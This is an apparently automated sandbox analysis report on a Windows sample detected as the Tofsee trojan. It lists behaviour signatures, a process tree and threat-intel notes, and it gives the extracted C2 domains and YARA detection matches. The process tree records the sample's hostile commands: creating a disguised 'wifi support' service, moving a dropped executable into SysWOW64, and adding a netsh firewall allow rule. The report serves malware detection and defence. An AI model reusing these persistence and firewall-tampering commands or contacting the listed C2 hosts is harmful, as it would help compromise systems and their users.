Edit tour

Windows Analysis Report
2IFYYPRUgO.exe

Overview

General Information

Sample name:	2IFYYPRUgO.exe
Analysis ID:	1515185
MD5:	dd9983e56e44b300e97fbead17bbb8ec
SHA1:	bcfc4f542d1824b23b5beefe94e8eaa9d487e037
SHA256:	16c9a4debb518681ece83ec9f4eb3edfab08cc4231243db1949a64c80e017aa4
Tags:	exeuser-aachum
Infos:

Detection

Tofsee

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

System process connects to network (likely due to code injection or exploit)

Yara detected Tofsee

AI detected suspicious sample

Adds extensions / path to Windows Defender exclusion list (Registry)

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Deletes itself after installation

Drops executables to the windows directory (C:\Windows) and starts them

Found API chain indicative of debugger detection

Injects a PE file into a foreign processes

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the windows firewall

Sigma detected: Suspect Svchost Activity

Sigma detected: Suspicious New Service Creation

Uses netsh to modify the Windows network and firewall settings

Writes to foreign memory regions

Contains functionality to communicate with device drivers

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query network adapater information

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Extensive use of GetProcAddress (often used to hide API calls)

Found decision node followed by non-executed suspicious APIs

Found evaded block containing many API calls

Found evasive API chain (date check)

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain (may stop execution after checking a module file name)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Modifies existing windows services

One or more processes crash

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Suspicious Outbound SMTP Connections

Sigma detected: Uncommon Svchost Parent Process

Sigma detected: Windows Defender Exclusions Added - Registry

Uses 32bit PE files

Uses SMTP (mail sending)

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

2IFYYPRUgO.exe (PID: 1472 cmdline: "C:\Users\user\Desktop\2IFYYPRUgO.exe" MD5: DD9983E56E44B300E97FBEAD17BBB8EC)

cmd.exe (PID: 3228 cmdline: "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\chxnvqnu\ MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6152 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6224 cmdline: "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\uscdfbek.exe" C:\Windows\SysWOW64\chxnvqnu\ MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4068 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 2352 cmdline: "C:\Windows\System32\sc.exe" create chxnvqnu binPath= "C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe /d\"C:\Users\user\Desktop\2IFYYPRUgO.exe\"" type= own start= auto DisplayName= "wifi support" MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)

conhost.exe (PID: 2612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 2680 cmdline: "C:\Windows\System32\sc.exe" description chxnvqnu "wifi internet conection" MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)

conhost.exe (PID: 4308 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

sc.exe (PID: 6220 cmdline: "C:\Windows\System32\sc.exe" start chxnvqnu MD5: D9D7684B8431A0D10D0E76FE9F5FFEC8)

conhost.exe (PID: 5148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 2124 cmdline: "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

conhost.exe (PID: 2676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WerFault.exe (PID: 3228 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1472 -s 1032 MD5: C31336C1EFC2CCB44B4326EA793040F2)

uscdfbek.exe (PID: 7096 cmdline: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe /d"C:\Users\user\Desktop\2IFYYPRUgO.exe" MD5: A55CE6DA03E8C8D33F5FBC378D553054)

svchost.exe (PID: 940 cmdline: svchost.exe MD5: 1ED18311E3DA35942DB37D15FA40CC5B)

WerFault.exe (PID: 1196 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7096 -s 588 MD5: C31336C1EFC2CCB44B4326EA793040F2)

svchost.exe (PID: 6616 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 5896 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 7096 -ip 7096 MD5: C31336C1EFC2CCB44B4326EA793040F2)

WerFault.exe (PID: 3724 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 1472 -ip 1472 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Tofsee	According to PCrisk, Tofsee (also known as Gheg) is a malicious Trojan-type program that is capable of performing DDoS attacks, mining cryptocurrency, sending emails, stealing various account credentials, updating itself, and more.Cyber criminals mainly use this program as an email-oriented tool (they target users' email accounts), however, having Tofsee installed can also lead to many other problems.	No Attribution	https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/ https://blog.talosintelligence.com/2022/02/threat-roundup-0204-0211.html https://blog.talosintelligence.com/tofsee-spam/ https://gist.github.com/larsborn/0ec24d7b294248c51de0c3335802cbd4 https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf	https://malpedia.caad.fkie.fraunhofer.de/details/win.tofsee

Malware Configuration

Threatname: Tofsee

{"C2 list": ["vanaheim.cn:443", "jotunheim.name:443"]}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000C.00000002.2078985168.0000000002688000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x107b3:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Tofsee_26124fe4	unknown	unknown	0x27ab:$a: 55 8B EC 8B 45 08 57 8B 7D 10 B1 01 85 FF 74 1D 56 8B 75 0C 2B F0 8A 14 06 32 55 14 88 10 8A D1 02 55 18 F6 D9 00 55 14 40 4F 75 EA 5E 8B 45 08 5F 5D C3 0xf0fc:$b: 8B 44 24 04 53 8A 18 84 DB 74 2D 8B D0 2B 54 24 0C 8B 4C 24 0C 84 DB 74 12 8A 19 84 DB 74 1B 38 1C 0A 75 07 41 80 3C 0A 00 75 EE 80 39 00 74 0A 40 8A 18 42 84 DB 75 D9 33 C0 5B C3
0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Tofsee_26124fe4	unknown	unknown	0x2544:$a: 55 8B EC 8B 45 08 57 8B 7D 10 B1 01 85 FF 74 1D 56 8B 75 0C 2B F0 8A 14 06 32 55 14 88 10 8A D1 02 55 18 F6 D9 00 55 14 40 4F 75 EA 5E 8B 45 08 5F 5D C3 0xee95:$b: 8B 44 24 04 53 8A 18 84 DB 74 2D 8B D0 2B 54 24 0C 8B 4C 24 0C 84 DB 74 12 8A 19 84 DB 74 1B 38 1C 0A 75 07 41 80 3C 0A 00 75 EE 80 39 00 74 0A 40 8A 18 42 84 DB 75 D9 33 C0 5B C3
0000000D.00000002.3304250387.0000000002D30000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_Tofsee	Detects Tofsee	ditekSHen	0x1123e:$s1: n%systemroot%\system32\cmd.exe 0x10310:$s2: loader_id 0x10340:$s3: start_srv 0x10370:$s4: lid_file_upd 0x10364:$s5: localcfg 0x10a94:$s6: Incorrect respons 0x10b74:$s7: mx connect error 0x10af0:$s8: Error sending command (sent = %d/%d) 0x10c28:$s9: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u
00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp	Windows_Trojan_Tofsee_26124fe4	unknown	unknown	0x2544:$a: 55 8B EC 8B 45 08 57 8B 7D 10 B1 01 85 FF 74 1D 56 8B 75 0C 2B F0 8A 14 06 32 55 14 88 10 8A D1 02 55 18 F6 D9 00 55 14 40 4F 75 EA 5E 8B 45 08 5F 5D C3 0xee95:$b: 8B 44 24 04 53 8A 18 84 DB 74 2D 8B D0 2B 54 24 0C 8B 4C 24 0C 84 DB 74 12 8A 19 84 DB 74 1B 38 1C 0A 75 07 41 80 3C 0A 00 75 EE 80 39 00 74 0A 40 8A 18 42 84 DB 75 D9 33 C0 5B C3
00000000.00000002.2077683077.0000000000400000.00000040.00000001.01000000.00000003.sdmp	MALWARE_Win_Tofsee	Detects Tofsee	ditekSHen	0x1123e:$s1: n%systemroot%\system32\cmd.exe 0x10310:$s2: loader_id 0x10340:$s3: start_srv 0x10370:$s4: lid_file_upd 0x10364:$s5: localcfg 0x10a94:$s6: Incorrect respons 0x10b74:$s7: mx connect error 0x10af0:$s8: Error sending command (sent = %d/%d) 0x10c28:$s9: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u
0000000C.00000002.2079103055.0000000002DD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000000C.00000002.2079103055.0000000002DD0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Tofsee_26124fe4	unknown	unknown	0x2544:$a: 55 8B EC 8B 45 08 57 8B 7D 10 B1 01 85 FF 74 1D 56 8B 75 0C 2B F0 8A 14 06 32 55 14 88 10 8A D1 02 55 18 F6 D9 00 55 14 40 4F 75 EA 5E 8B 45 08 5F 5D C3 0xee95:$b: 8B 44 24 04 53 8A 18 84 DB 74 2D 8B D0 2B 54 24 0C 8B 4C 24 0C 84 DB 74 12 8A 19 84 DB 74 1B 38 1C 0A 75 07 41 80 3C 0A 00 75 EE 80 39 00 74 0A 40 8A 18 42 84 DB 75 D9 33 C0 5B C3
0000000C.00000002.2079103055.0000000002DD0000.00000004.00001000.00020000.00000000.sdmp	MALWARE_Win_Tofsee	Detects Tofsee	ditekSHen	0x1123e:$s1: n%systemroot%\system32\cmd.exe 0x10310:$s2: loader_id 0x10340:$s3: start_srv 0x10370:$s4: lid_file_upd 0x10364:$s5: localcfg 0x10a94:$s6: Incorrect respons 0x10b74:$s7: mx connect error 0x10af0:$s8: Error sending command (sent = %d/%d) 0x10c28:$s9: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u
0000000C.00000003.2074120275.0000000002630000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000000C.00000003.2074120275.0000000002630000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Tofsee_26124fe4	unknown	unknown	0x1944:$a: 55 8B EC 8B 45 08 57 8B 7D 10 B1 01 85 FF 74 1D 56 8B 75 0C 2B F0 8A 14 06 32 55 14 88 10 8A D1 02 55 18 F6 D9 00 55 14 40 4F 75 EA 5E 8B 45 08 5F 5D C3 0xe295:$b: 8B 44 24 04 53 8A 18 84 DB 74 2D 8B D0 2B 54 24 0C 8B 4C 24 0C 84 DB 74 12 8A 19 84 DB 74 1B 38 1C 0A 75 07 41 80 3C 0A 00 75 EE 80 39 00 74 0A 40 8A 18 42 84 DB 75 D9 33 C0 5B C3
0000000C.00000003.2074120275.0000000002630000.00000004.00001000.00020000.00000000.sdmp	MALWARE_Win_Tofsee	Detects Tofsee	ditekSHen	0xfc3e:$s1: n%systemroot%\system32\cmd.exe 0xed10:$s2: loader_id 0xed40:$s3: start_srv 0xed70:$s4: lid_file_upd 0xed64:$s5: localcfg 0xf494:$s6: Incorrect respons 0xf574:$s7: mx connect error 0xf4f0:$s8: Error sending command (sent = %d/%d) 0xf628:$s9: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u
00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.2079287696.00000000040C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Tofsee_26124fe4	unknown	unknown	0x27ab:$a: 55 8B EC 8B 45 08 57 8B 7D 10 B1 01 85 FF 74 1D 56 8B 75 0C 2B F0 8A 14 06 32 55 14 88 10 8A D1 02 55 18 F6 D9 00 55 14 40 4F 75 EA 5E 8B 45 08 5F 5D C3 0xf0fc:$b: 8B 44 24 04 53 8A 18 84 DB 74 2D 8B D0 2B 54 24 0C 8B 4C 24 0C 84 DB 74 12 8A 19 84 DB 74 1B 38 1C 0A 75 07 41 80 3C 0A 00 75 EE 80 39 00 74 0A 40 8A 18 42 84 DB 75 D9 33 C0 5B C3
00000000.00000003.2043185641.00000000040E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
00000000.00000003.2043185641.00000000040E0000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Tofsee_26124fe4	unknown	unknown	0x1944:$a: 55 8B EC 8B 45 08 57 8B 7D 10 B1 01 85 FF 74 1D 56 8B 75 0C 2B F0 8A 14 06 32 55 14 88 10 8A D1 02 55 18 F6 D9 00 55 14 40 4F 75 EA 5E 8B 45 08 5F 5D C3 0xe295:$b: 8B 44 24 04 53 8A 18 84 DB 74 2D 8B D0 2B 54 24 0C 8B 4C 24 0C 84 DB 74 12 8A 19 84 DB 74 1B 38 1C 0A 75 07 41 80 3C 0A 00 75 EE 80 39 00 74 0A 40 8A 18 42 84 DB 75 D9 33 C0 5B C3
00000000.00000003.2043185641.00000000040E0000.00000004.00001000.00020000.00000000.sdmp	MALWARE_Win_Tofsee	Detects Tofsee	ditekSHen	0xfc3e:$s1: n%systemroot%\system32\cmd.exe 0xed10:$s2: loader_id 0xed40:$s3: start_srv 0xed70:$s4: lid_file_upd 0xed64:$s5: localcfg 0xf494:$s6: Incorrect respons 0xf574:$s7: mx connect error 0xf4f0:$s8: Error sending command (sent = %d/%d) 0xf628:$s9: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u
00000000.00000002.2079068400.000000000263D000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x10713:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp	Windows_Trojan_Tofsee_26124fe4	unknown	unknown	0x2544:$a: 55 8B EC 8B 45 08 57 8B 7D 10 B1 01 85 FF 74 1D 56 8B 75 0C 2B F0 8A 14 06 32 55 14 88 10 8A D1 02 55 18 F6 D9 00 55 14 40 4F 75 EA 5E 8B 45 08 5F 5D C3 0xee95:$b: 8B 44 24 04 53 8A 18 84 DB 74 2D 8B D0 2B 54 24 0C 8B 4C 24 0C 84 DB 74 12 8A 19 84 DB 74 1B 38 1C 0A 75 07 41 80 3C 0A 00 75 EE 80 39 00 74 0A 40 8A 18 42 84 DB 75 D9 33 C0 5B C3
0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp	MALWARE_Win_Tofsee	Detects Tofsee	ditekSHen	0x1123e:$s1: n%systemroot%\system32\cmd.exe 0x10310:$s2: loader_id 0x10340:$s3: start_srv 0x10370:$s4: lid_file_upd 0x10364:$s5: localcfg 0x10a94:$s6: Incorrect respons 0x10b74:$s7: mx connect error 0x10af0:$s8: Error sending command (sent = %d/%d) 0x10c28:$s9: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u
Process Memory Space: 2IFYYPRUgO.exe PID: 1472	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Process Memory Space: uscdfbek.exe PID: 7096	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Process Memory Space: svchost.exe PID: 940	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
Click to see the 24 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.3.2IFYYPRUgO.exe.40e0000.0.unpack	Windows_Trojan_Tofsee_26124fe4	unknown	unknown	0xd44:$a: 55 8B EC 8B 45 08 57 8B 7D 10 B1 01 85 FF 74 1D 56 8B 75 0C 2B F0 8A 14 06 32 55 14 88 10 8A D1 02 55 18 F6 D9 00 55 14 40 4F 75 EA 5E 8B 45 08 5F 5D C3 0xd695:$b: 8B 44 24 04 53 8A 18 84 DB 74 2D 8B D0 2B 54 24 0C 8B 4C 24 0C 84 DB 74 12 8A 19 84 DB 74 1B 38 1C 0A 75 07 41 80 3C 0A 00 75 EE 80 39 00 74 0A 40 8A 18 42 84 DB 75 D9 33 C0 5B C3
0.3.2IFYYPRUgO.exe.40e0000.0.unpack	MALWARE_Win_Tofsee	Detects Tofsee	ditekSHen	0xe110:$s2: loader_id 0xe140:$s3: start_srv 0xe170:$s4: lid_file_upd 0xe164:$s5: localcfg 0xe894:$s6: Incorrect respons
12.2.uscdfbek.exe.2dd0000.2.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
12.2.uscdfbek.exe.2dd0000.2.raw.unpack	Windows_Trojan_Tofsee_26124fe4	unknown	unknown	0x2544:$a: 55 8B EC 8B 45 08 57 8B 7D 10 B1 01 85 FF 74 1D 56 8B 75 0C 2B F0 8A 14 06 32 55 14 88 10 8A D1 02 55 18 F6 D9 00 55 14 40 4F 75 EA 5E 8B 45 08 5F 5D C3 0xee95:$b: 8B 44 24 04 53 8A 18 84 DB 74 2D 8B D0 2B 54 24 0C 8B 4C 24 0C 84 DB 74 12 8A 19 84 DB 74 1B 38 1C 0A 75 07 41 80 3C 0A 00 75 EE 80 39 00 74 0A 40 8A 18 42 84 DB 75 D9 33 C0 5B C3
12.2.uscdfbek.exe.2dd0000.2.raw.unpack	MALWARE_Win_Tofsee	Detects Tofsee	ditekSHen	0x1123e:$s1: n%systemroot%\system32\cmd.exe 0x10310:$s2: loader_id 0x10340:$s3: start_srv 0x10370:$s4: lid_file_upd 0x10364:$s5: localcfg 0x10a94:$s6: Incorrect respons 0x10b74:$s7: mx connect error 0x10af0:$s8: Error sending command (sent = %d/%d) 0x10c28:$s9: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u
12.2.uscdfbek.exe.2610e67.1.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
12.2.uscdfbek.exe.2610e67.1.raw.unpack	Windows_Trojan_Tofsee_26124fe4	unknown	unknown	0x1944:$a: 55 8B EC 8B 45 08 57 8B 7D 10 B1 01 85 FF 74 1D 56 8B 75 0C 2B F0 8A 14 06 32 55 14 88 10 8A D1 02 55 18 F6 D9 00 55 14 40 4F 75 EA 5E 8B 45 08 5F 5D C3 0xe295:$b: 8B 44 24 04 53 8A 18 84 DB 74 2D 8B D0 2B 54 24 0C 8B 4C 24 0C 84 DB 74 12 8A 19 84 DB 74 1B 38 1C 0A 75 07 41 80 3C 0A 00 75 EE 80 39 00 74 0A 40 8A 18 42 84 DB 75 D9 33 C0 5B C3
12.2.uscdfbek.exe.2610e67.1.raw.unpack	MALWARE_Win_Tofsee	Detects Tofsee	ditekSHen	0xfc3e:$s1: n%systemroot%\system32\cmd.exe 0xed10:$s2: loader_id 0xed40:$s3: start_srv 0xed70:$s4: lid_file_upd 0xed64:$s5: localcfg 0xf494:$s6: Incorrect respons 0xf574:$s7: mx connect error 0xf4f0:$s8: Error sending command (sent = %d/%d) 0xf628:$s9: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u
12.2.uscdfbek.exe.400000.0.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
12.2.uscdfbek.exe.400000.0.unpack	Windows_Trojan_Tofsee_26124fe4	unknown	unknown	0x1944:$a: 55 8B EC 8B 45 08 57 8B 7D 10 B1 01 85 FF 74 1D 56 8B 75 0C 2B F0 8A 14 06 32 55 14 88 10 8A D1 02 55 18 F6 D9 00 55 14 40 4F 75 EA 5E 8B 45 08 5F 5D C3 0xe295:$b: 8B 44 24 04 53 8A 18 84 DB 74 2D 8B D0 2B 54 24 0C 8B 4C 24 0C 84 DB 74 12 8A 19 84 DB 74 1B 38 1C 0A 75 07 41 80 3C 0A 00 75 EE 80 39 00 74 0A 40 8A 18 42 84 DB 75 D9 33 C0 5B C3
12.2.uscdfbek.exe.400000.0.unpack	MALWARE_Win_Tofsee	Detects Tofsee	ditekSHen	0xfc3e:$s1: n%systemroot%\system32\cmd.exe 0xed10:$s2: loader_id 0xed40:$s3: start_srv 0xed70:$s4: lid_file_upd 0xed64:$s5: localcfg 0xf494:$s6: Incorrect respons 0xf574:$s7: mx connect error 0xf4f0:$s8: Error sending command (sent = %d/%d) 0xf628:$s9: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u
0.2.2IFYYPRUgO.exe.400000.0.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0.2.2IFYYPRUgO.exe.400000.0.unpack	Windows_Trojan_Tofsee_26124fe4	unknown	unknown	0x1944:$a: 55 8B EC 8B 45 08 57 8B 7D 10 B1 01 85 FF 74 1D 56 8B 75 0C 2B F0 8A 14 06 32 55 14 88 10 8A D1 02 55 18 F6 D9 00 55 14 40 4F 75 EA 5E 8B 45 08 5F 5D C3 0xe295:$b: 8B 44 24 04 53 8A 18 84 DB 74 2D 8B D0 2B 54 24 0C 8B 4C 24 0C 84 DB 74 12 8A 19 84 DB 74 1B 38 1C 0A 75 07 41 80 3C 0A 00 75 EE 80 39 00 74 0A 40 8A 18 42 84 DB 75 D9 33 C0 5B C3
0.2.2IFYYPRUgO.exe.400000.0.unpack	MALWARE_Win_Tofsee	Detects Tofsee	ditekSHen	0xfc3e:$s1: n%systemroot%\system32\cmd.exe 0xed10:$s2: loader_id 0xed40:$s3: start_srv 0xed70:$s4: lid_file_upd 0xed64:$s5: localcfg 0xf494:$s6: Incorrect respons 0xf574:$s7: mx connect error 0xf4f0:$s8: Error sending command (sent = %d/%d) 0xf628:$s9: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u
13.2.svchost.exe.2d30000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
13.2.svchost.exe.2d30000.0.raw.unpack	Windows_Trojan_Tofsee_26124fe4	unknown	unknown	0x2544:$a: 55 8B EC 8B 45 08 57 8B 7D 10 B1 01 85 FF 74 1D 56 8B 75 0C 2B F0 8A 14 06 32 55 14 88 10 8A D1 02 55 18 F6 D9 00 55 14 40 4F 75 EA 5E 8B 45 08 5F 5D C3 0xee95:$b: 8B 44 24 04 53 8A 18 84 DB 74 2D 8B D0 2B 54 24 0C 8B 4C 24 0C 84 DB 74 12 8A 19 84 DB 74 1B 38 1C 0A 75 07 41 80 3C 0A 00 75 EE 80 39 00 74 0A 40 8A 18 42 84 DB 75 D9 33 C0 5B C3
13.2.svchost.exe.2d30000.0.raw.unpack	MALWARE_Win_Tofsee	Detects Tofsee	ditekSHen	0x1123e:$s1: n%systemroot%\system32\cmd.exe 0x10310:$s2: loader_id 0x10340:$s3: start_srv 0x10370:$s4: lid_file_upd 0x10364:$s5: localcfg 0x10a94:$s6: Incorrect respons 0x10b74:$s7: mx connect error 0x10af0:$s8: Error sending command (sent = %d/%d) 0x10c28:$s9: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u
12.2.uscdfbek.exe.2dd0000.2.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
12.2.uscdfbek.exe.2dd0000.2.unpack	Windows_Trojan_Tofsee_26124fe4	unknown	unknown	0x1944:$a: 55 8B EC 8B 45 08 57 8B 7D 10 B1 01 85 FF 74 1D 56 8B 75 0C 2B F0 8A 14 06 32 55 14 88 10 8A D1 02 55 18 F6 D9 00 55 14 40 4F 75 EA 5E 8B 45 08 5F 5D C3 0xe295:$b: 8B 44 24 04 53 8A 18 84 DB 74 2D 8B D0 2B 54 24 0C 8B 4C 24 0C 84 DB 74 12 8A 19 84 DB 74 1B 38 1C 0A 75 07 41 80 3C 0A 00 75 EE 80 39 00 74 0A 40 8A 18 42 84 DB 75 D9 33 C0 5B C3
12.2.uscdfbek.exe.2dd0000.2.unpack	MALWARE_Win_Tofsee	Detects Tofsee	ditekSHen	0xfc3e:$s1: n%systemroot%\system32\cmd.exe 0xed10:$s2: loader_id 0xed40:$s3: start_srv 0xed70:$s4: lid_file_upd 0xed64:$s5: localcfg 0xf494:$s6: Incorrect respons 0xf574:$s7: mx connect error 0xf4f0:$s8: Error sending command (sent = %d/%d) 0xf628:$s9: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u
0.2.2IFYYPRUgO.exe.40c0e67.1.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0.2.2IFYYPRUgO.exe.40c0e67.1.raw.unpack	Windows_Trojan_Tofsee_26124fe4	unknown	unknown	0x1944:$a: 55 8B EC 8B 45 08 57 8B 7D 10 B1 01 85 FF 74 1D 56 8B 75 0C 2B F0 8A 14 06 32 55 14 88 10 8A D1 02 55 18 F6 D9 00 55 14 40 4F 75 EA 5E 8B 45 08 5F 5D C3 0xe295:$b: 8B 44 24 04 53 8A 18 84 DB 74 2D 8B D0 2B 54 24 0C 8B 4C 24 0C 84 DB 74 12 8A 19 84 DB 74 1B 38 1C 0A 75 07 41 80 3C 0A 00 75 EE 80 39 00 74 0A 40 8A 18 42 84 DB 75 D9 33 C0 5B C3
0.2.2IFYYPRUgO.exe.40c0e67.1.raw.unpack	MALWARE_Win_Tofsee	Detects Tofsee	ditekSHen	0xfc3e:$s1: n%systemroot%\system32\cmd.exe 0xed10:$s2: loader_id 0xed40:$s3: start_srv 0xed70:$s4: lid_file_upd 0xed64:$s5: localcfg 0xf494:$s6: Incorrect respons 0xf574:$s7: mx connect error 0xf4f0:$s8: Error sending command (sent = %d/%d) 0xf628:$s9: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u
0.3.2IFYYPRUgO.exe.40e0000.0.raw.unpack	JoeSecurity_Tofsee	Yara detected Tofsee	Joe Security
0.3.2IFYYPRUgO.exe.40e0000.0.raw.unpack	Windows_Trojan_Tofsee_26124fe4	unknown	unknown	0x1944:$a: 55 8B EC 8B 45 08 57 8B 7D 10 B1 01 85 FF 74 1D 56 8B 75 0C 2B F0 8A 14 06 32 55 14 88 10 8A D1 02 55 18 F6 D9 00 55 14 40 4F 75 EA 5E 8B 45 08 5F 5D C3 0xe295:$b: 8B 44 24 04 53 8A 18 84 DB 74 2D 8B D0 2B 54 24 0C 8B 4C 24 0C 84 DB 74 12 8A 19 84 DB 74 1B 38 1C 0A 75 07 41 80 3C 0A 00 75 EE 80 39 00 74 0A 40 8A 18 42 84 DB 75 D9 33 C0 5B C3
0.3.2IFYYPRUgO.exe.40e0000.0.raw.unpack	MALWARE_Win_Tofsee	Detects Tofsee	ditekSHen	0xfc3e:$s1: n%systemroot%\system32\cmd.exe 0xed10:$s2: loader_id 0xed40:$s3: start_srv 0xed70:$s4: lid_file_upd 0xed64:$s5: localcfg 0xf494:$s6: Incorrect respons 0xf574:$s7: mx connect error 0xf4f0:$s8: Error sending command (sent = %d/%d) 0xf628:$s9: %s, %u %s %u %.2u:%.2u:%.2u %s%.2u%.2u
